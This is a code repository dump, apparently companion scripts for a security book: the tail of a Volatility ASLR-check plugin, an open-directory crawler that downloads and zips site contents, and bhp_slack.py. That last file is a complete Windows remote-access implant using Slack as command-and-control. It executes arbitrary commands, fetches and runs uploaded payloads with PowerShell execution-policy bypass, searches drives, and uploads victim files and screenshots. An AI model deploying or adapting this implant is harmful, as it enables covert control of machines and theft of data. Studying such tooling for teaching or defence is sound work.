"_IMAGE_DOS_HEADER", 104 | offset=peb.ImageBaseAddress, 105 | layer_name=proc_layer_name) 106 | except Exception as e: 107 | continue 108 | 109 | pe_data = io.BytesIO() 110 | for offset, data in dos_header.reconstruct(): 111 | pe_data.seek(offset) 112 | pe_data.write(data) 113 | pe_data_raw = pe_data.getvalue() 114 | pe_data.close() 115 | 116 | try: 117 | pe = pefile.PE(data=pe_data_raw) 118 | except Exception as e: 119 | continue 120 | 121 | aslr = check_aslr(pe) 122 | 123 | yield (0, (proc_id, 124 | procname, 125 | format_hints.Hex(pe.OPTIONAL_HEADER.ImageBase), 126 | aslr, 127 | )) 128 | 129 | def run(self): 130 | procs = pslist.PsList.list_processes(self.context, 131 | self.config["primary"], 132 | self.config["nt_symbols"], 133 | filter_func=self.create_pid_filter(self.config.get('pid', None))) 134 | return renderers.TreeGrid([ 135 | ("PID", int), 136 | ("Filename", str), 137 | ("Base", format_hints.Hex), 138 | ("ASLR", bool)], 139 | self._generator(procs)) 140 | -------------------------------------------------------------------------------- /appendix-B/get_opendir.py: -------------------------------------------------------------------------------- 1 | __author__ = 'Hiroyuki Kakara' 2 | 3 | import bs4 4 | import os 5 | import re 6 | import requests 7 | from selenium import webdriver 8 | from selenium.webdriver.chrome import service 9 | from selenium.webdriver.chrome.options import Options 10 | import shutil 11 | import subprocess 12 | import sys 13 | import time 14 | 15 | user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' 16 | headers = {'User-Agent':user_agent} 17 | 18 | def get_web_content(url): 19 | try: 20 | res = requests.get(url, headers=headers, timeout=7, verify=False) 21 | time.sleep(5) 22 | if 'content-type' in res.headers: 23 | if res.status_code == 200 and 'text/html' in res.headers['content-type']: 24 | web_soup = bs4.BeautifulSoup(res.text, 'html.parser') 25 | return web_soup 26 | else: 27 | return False 28 | else: 29 | return False 30 | except Exception as e: 31 | return False 32 | 33 | def judge_opendir(web_soup): 34 | if web_soup.title != None: 35 | if "Index of " in web_soup.title.string: 36 | return True 37 | else: 38 | return False 39 | else: 40 | return False 41 | 42 | def get_opendir_parent(url): 43 | url_previous = url 44 | url_elem = url.split('/') 45 | base_url = f"{url_elem[0]}//{url_elem[2]}" 46 | for i in range(len(url_elem)-1, 2, -1): 47 | path = '' 48 | for j in range(3,i,1): 49 | path = f"{path}/{url_elem[j]}" 50 | web_soup = get_web_content(base_url + path) 51 | if web_soup != False: 52 | if judge_opendir(web_soup): 53 | url_previous = base_url + path 54 | else: 55 | return url_previous 56 | else: 57 | return url_previous 58 | return url_previous 59 | 60 | def get_child_links(web_soup): 61 | links_tmp = [url.get('href') for url in web_soup.find_all('a')] 62 | links = [] 63 | for link in links_tmp: 64 | if not re.search("^\?C=[A-Z];O=[A-Z]$", link) and not link=='/' and not link=='../': 65 | links.append(link.replace('/','')) 66 | return links 67 | 68 | def write_content(output_path, content): 69 | with open(output_path,'wb') as f: 70 | f.write(content) 71 | 72 | def get_screenshot(url, output): 73 | try: 74 | options = Options() 75 | options.add_argument('--headless') 76 | options.add_argument('--ignore-certificate-errors') 77 | options.add_argument('--no-sandbox') 78 | options.add_argument('--disable-dev-shm-usage') 79 | options.add_argument(f'--user-agent={user_agent}') 80 | chrome_service = service.Service(executable_path 81 | ='!!解凍したWebドライバのフルパスを入力!!') 82 | driver = webdriver.Chrome(service=chrome_service, options=options) 83 | driver.set_page_load_timeout(10) 84 | driver.get(url) 85 | width = driver.execute_script('return document.body.scrollWidth') 86 | height = driver.execute_script('return document.body.scrollHeight') 87 | driver.set_window_size(int(width),int(height)) 88 | driver.save_screenshot(output) 89 | driver.quit() 90 | time.sleep(5) 91 | return 1 92 | except Exception as e: 93 | print(e) 94 | return -1 95 | 96 | class GOD: 97 | def get_opendir(self, url, output): 98 | content_count = 0 99 | if not url.startswith('http://') and not url.startswith('https://'): 100 | print('Only http:// or https:// are acceptable.') 101 | exit() 102 | web_soup = get_web_content(url) 103 | if web_soup != False: 104 | if judge_opendir(web_soup): 105 | opendir_parent = get_opendir_parent(url) 106 | base_path = url.split('/')[2].replace(':', '_') 107 | image_dir = os.path.join(output, f"{base_path}_image") 108 | os.makedirs(image_dir, exist_ok=True) 109 | opendir_urls = [opendir_parent] 110 | imagepath_list = list() 111 | for opendir_url in opendir_urls: 112 | print(f"Processing {opendir_url}...") 113 | web_soup = get_web_content(opendir_url) 114 | opendir_name = opendir_url.replace('http://','').replace('https://','').replace(':', '_') 115 | outputdir = os.path.join(output, opendir_name) 116 | os.makedirs(outputdir, exist_ok=True) 117 | links = get_child_links(web_soup) 118 | for link in links: 119 | if content_count > 10: 120 | break 121 | res = requests.get(f"{opendir_url}/{link}", headers=headers) 122 | time.sleep(5) 123 | link_filename = os.path.join(outputdir, link.replace('/','')) 124 | if res.status_code == 200: 125 | if 'content-type' in res.headers: 126 | if 'text/html' in res.headers['content-type']: 127 | web_soup = get_web_content(f"{opendir_url}/{link}") 128 | if web_soup != False: 129 | if judge_opendir(web_soup): 130 | opendir_urls.append(opendir_url + "/" + link ) # ❼ 131 | else: 132 | write_content(link_filename, res.content) 133 | else: 134 | write_content(link_filename, res.content) 135 | else: 136 | write_content(link_filename, res.content) 137 | content_count += 1 138 | imagepath = os.path.join(image_dir, opendir_url.replace('/','_').replace(':','').replace('.','_') +'.png') 139 | if get_screenshot(opendir_url, imagepath) > 0: 140 | print('Successfully got screenshot: ' + imagepath ) 141 | imagepath_list.append(imagepath) 142 | else: 143 | print(f"Couldn't get screenshpt: {imagepath}") 144 | if os.name == 'posix' and os.path.exists('/usr/bin/zip'): 145 | subprocess.call(['zip', '-r', '-e', '--password=novirus', f'{base_path}.zip', base_path], cwd=output) 146 | elif os.name == 'nt' and os.path.exists('C:\\Windows\\System32\\wsl.exe') and subprocess.call(['wsl', 'which', 'zip'], stdout=subprocess.DEVNULL) == 0: 147 | subprocess.call(['wsl', 'zip', '-r', '-e', '--password=novirus', f'{base_path}.zip', base_path], cwd=output) 148 | else: 149 | shutil.make_archive(os.path.join(output, base_path), 'zip', root_dir=os.path.join(output, base_path)) # without password 150 | shutil.rmtree(os.path.join(output, base_path)) 151 | output_zip = os.path.join(output, f"{base_path}.zip") 152 | print(f"Saved to {output_zip}" ) 153 | imagepath = os.path.join(output, f"{opendir_parent.replace('/','_').replace(':','').replace('.','_')}.png") 154 | return [output_zip, imagepath_list] 155 | else: 156 | return ['This is not an OpenDir.'] 157 | else: 158 | return ["Couldn't get html content from this URL."] 159 | 160 | if __name__ == '__main__': 161 | god = GOD() 162 | res = god.get_opendir(sys.argv[1], '') 163 | print(res) -------------------------------------------------------------------------------- /appendix-A/bhp_slack.py: -------------------------------------------------------------------------------- 1 | # -*- config:utf-8 -*- 2 | __author__ = 'Hiroyuki Kakara' 3 | import ctypes 4 | import locale 5 | import os 6 | import platform 7 | import requests 8 | from slack_bolt import App 9 | from slack_bolt.adapter.socket_mode import SocketModeHandler 10 | import socket 11 | import subprocess 12 | import win32api 13 | import win32con 14 | import win32gui 15 | import win32ui 16 | 17 | SLACK_URL = 'https://slack.com/api/' 18 | SLACK_APP_TOKEN = 'xapp-' 19 | SLACK_BOT_TOKEN = 'xoxb-' 20 | app = App(token=SLACK_BOT_TOKEN) 21 | mychannel = '' 22 | 23 | def conversations_create(name): 24 | parameters = {'token': SLACK_BOT_TOKEN, 'name': name} 25 | res = requests.post(SLACK_URL + 'conversations.create', data=parameters) 26 | 27 | def conversations_setTopic(channel, topic): 28 | parameters = {'token': SLACK_BOT_TOKEN, 'channel': channel, 'topic':topic} 29 | res = requests.post(SLACK_URL + 'conversations.setTopic', data=parameters) 30 | 31 | def convert_channelname_to_id(channel_name): 32 | parameters = {'token': SLACK_BOT_TOKEN} 33 | res = requests.post(SLACK_URL + 'conversations.list', data=parameters) 34 | channel_id = None 35 | if res.json()['ok'] == True: 36 | for channel in res.json()['channels']: 37 | if channel['name'] == channel_name: 38 | channel_id = channel['id'] 39 | break 40 | return channel_id 41 | 42 | def file_dl_exec(url, filename): 43 | headers = {'Authorization': "Bearer " + SLACK_BOT_TOKEN} 44 | res = requests.get(url, headers=headers) 45 | with open(filename, 'wb') as dl_file: 46 | dl_file.write(res.content) 47 | command = '' 48 | if os.path.splitext(filename)[1] == '.py': 49 | command = f'python {filename}' 50 | elif os.path.splitext(filename)[1] == '.vbs': 51 | command = f'Cscript {filename}' 52 | elif os.path.splitext(filename)[1] == '.ps1': 53 | command = f'powershell -ExecutionPolicy Bypass -File {filename}' 54 | else: 55 | command = filename 56 | res = subprocess.Popen(command, stdout=subprocess.PIPE) 57 | return f'{filename} Started.' 58 | 59 | def exec_command(command): 60 | res = subprocess.run(command, stdout=subprocess.PIPE) 61 | if locale.getdefaultlocale() == ('ja_JP', 'cp932'): 62 | return res.stdout.decode('cp932') 63 | else: 64 | return res.stdout.decode() 65 | 66 | def file_up(filepath): 67 | if os.path.exists(filepath): 68 | files = {'file': open(filepath, 'rb')} 69 | parameters = {'token': SLACK_BOT_TOKEN, 'channels': mychannel, 'filename': os.path.basename(filepath)} 70 | res = requests.post(SLACK_URL + 'files.upload', files=files, data=parameters) 71 | if res.status_code == 200: 72 | return "Uploaded." 73 | else: 74 | return "Upload Failed." 75 | else: 76 | return f'File not found - {filepath}.' 77 | 78 | def file_dir(extension): 79 | file_paths = list() 80 | for parent, _, filenames in os.walk('c:\\'): 81 | for filename in filenames: 82 | if filename.endswith(extension): 83 | document_path = os.path.join(parent, filename) 84 | file_paths.append(document_path) 85 | return '\r\n'.join(file_paths) 86 | 87 | def get_dimensions(): 88 | PROCESS_PER_MONITOR_DPI_AWARE = 2 89 | ctypes.windll.shcore.SetProcessDpiAwareness(PROCESS_PER_MONITOR_DPI_AWARE) 90 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 91 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 92 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 93 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 94 | return (width, height, left, top) 95 | 96 | def screenshot(): 97 | hdesktop = win32gui.GetDesktopWindow() 98 | width, height, left, top = get_dimensions() 99 | 100 | desktop_dc = win32gui.GetWindowDC(hdesktop) 101 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 102 | mem_dc = img_dc.CreateCompatibleDC() 103 | 104 | screenshot = win32ui.CreateBitmap() 105 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 106 | mem_dc.SelectObject(screenshot) 107 | mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 108 | screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp') 109 | 110 | mem_dc.DeleteDC() 111 | win32gui.DeleteObject(screenshot.GetHandle()) 112 | 113 | if os.path.exists('screenshot.bmp'): 114 | files = {'file': open('screenshot.bmp', 'rb')} 115 | parameters = {'token': SLACK_BOT_TOKEN, 'channels': mychannel, 'filename': os.path.basename('screenshot.bmp')} 116 | res = requests.post(SLACK_URL + 'files.upload', files=files, data=parameters) 117 | if res.status_code == 200: 118 | return "Uploaded." 119 | else: 120 | return "Upload Failed." 121 | else: 122 | return f'File not found - screenshot.bmp.' 123 | 124 | def build_help(): 125 | res = ("cmd : Execute Windows commands.\r\n" 126 | "fil : Upload file from victim.\r\n" 127 | "dir : Search for files with specified extension.\r\n" 128 | "scr: Take screenshot.\r\n" 129 | "exit: Terminate this bot.\r\n" 130 | "Just upload a file: Bot will execute the uploaded file.\r\n" 131 | "help: Display this help.") 132 | return res 133 | 134 | def parse_event(event): 135 | res = None 136 | try: 137 | if event['channel'] == mychannel: 138 | if 'files' in event: 139 | for file_ in event['files']: 140 | res = file_dl_exec(file_['url_private_download'], file_['name']) 141 | else: 142 | command = event['text'] 143 | if command == 'exit': 144 | res = 'exit' 145 | else: 146 | if event['text'].startswith('cmd '): 147 | res = exec_command(event['text'][4:]) 148 | elif event['text'].startswith('fil '): 149 | res = file_up(event['text'][4:]) 150 | elif event['text'].startswith('dir '): 151 | res = file_dir(event['text'][4:]) 152 | elif event['text'].startswith('scr'): 153 | res = screenshot() 154 | elif event['text'].startswith('help'): 155 | res = build_help() 156 | except Exception as e: 157 | pass 158 | return res 159 | 160 | @app.event("message") 161 | def event(event, say): 162 | res = parse_event(event) 163 | if res != None: 164 | if res != 'exit': 165 | say(res) 166 | else: 167 | say("Exiting...") 168 | os._exit(0) 169 | 170 | def get_global_ip(): 171 | url = 'http://ifconfig.io/' 172 | headers = {'User-Agent': 'curl'} 173 | res = requests.get(url, headers=headers) 174 | return str(res.text.rstrip('\n')) 175 | 176 | def build_topic(): 177 | res = (f'Username: {os.environ["username"]}\r\n' 178 | f'Hostname: {socket.gethostname()}\r\n' 179 | f'FQDN: {socket.getfqdn()}\r\n' 180 | f'Internal IP: {socket.gethostbyname(socket.gethostname())}\r\n' 181 | f'Global IP: {get_global_ip()}\r\n' 182 | f'Platform: {platform.platform()}\r\n' 183 | f'Processor: {platform.processor()}\r\n' 184 | f'Architecture: {platform.architecture()[0]}\r\n') 185 | return res 186 | 187 | def main(): 188 | global mychannel 189 | mychannel_name = os.environ['username'].lower().replace(" ", "").replace(".", "") + "-" + os.environ['computername'].lower() 190 | conversations_create(mychannel_name) 191 | mychannel = convert_channelname_to_id(mychannel_name) 192 | conversations_setTopic(mychannel, build_topic()) 193 | 194 | SocketModeHandler(app, SLACK_APP_TOKEN).start() 195 | 196 | if __name__ == '__main__': 197 | main() --------------------------------------------------------------------------------